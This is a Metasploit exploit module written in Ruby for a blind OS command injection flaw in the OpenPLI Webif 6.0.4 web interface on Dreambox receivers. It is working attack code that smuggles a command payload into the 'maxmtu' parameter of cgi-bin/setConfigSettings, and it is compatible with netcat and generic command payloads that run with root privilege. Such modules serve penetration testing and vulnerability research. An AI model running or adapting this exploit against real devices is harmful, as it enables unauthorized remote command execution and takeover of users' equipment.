OpenPLI Webif Arbitrary Command Execution Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'          => 'OpenPLI Webif Arbitrary Command Execution',
			'Description'   => %q{
					Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS command
				injection in the Webif 6.0.4 Web Interface. This is a blind injection, which means
				that you will not see any output of your command. A ping command can be used for
				testing the vulnerability.  This module has been tested in a box with the next
				features: Linux Kernel version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) #1
				Wed Aug 17 23:54:07 CEST 2011, Firmware release 1.1.0 (27.01.2013), FP Firmware
				1.06 and Web Interface 6.0.4-Expert (PLi edition).
			},
			'Author'        => [ 'm-1-k-3' ],
			'License'       => MSF_LICENSE,
			'References'    =>
				[
					[ 'OSVDB', '90230' ],
					[ 'BID', '57943' ],
					[ 'EDB', '24498' ],
					[ 'URL', 'http://openpli.org/wiki/Webif' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-007' ]
				],
			'Platform'	   => ['unix', 'linux'],
			'Arch'         => ARCH_CMD,
			'Privileged'   => true,
			'Payload'      =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'netcat generic'
						}
				},
			'Targets'      =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Feb 08 2013'
		))
	end

	def exploit
		print_status("#{rhost}:#{rport} - Sending remote command...")
		vprint_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
		begin
			send_request_cgi(
				{
					'uri'    => normalize_uri("cgi-bin", "setConfigSettings"),
					'method' => 'GET',
					'vars_get' => {
						"maxmtu" => "1500&#{payload.encoded}&"
					}
				})

		rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
			fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
		end
	end
end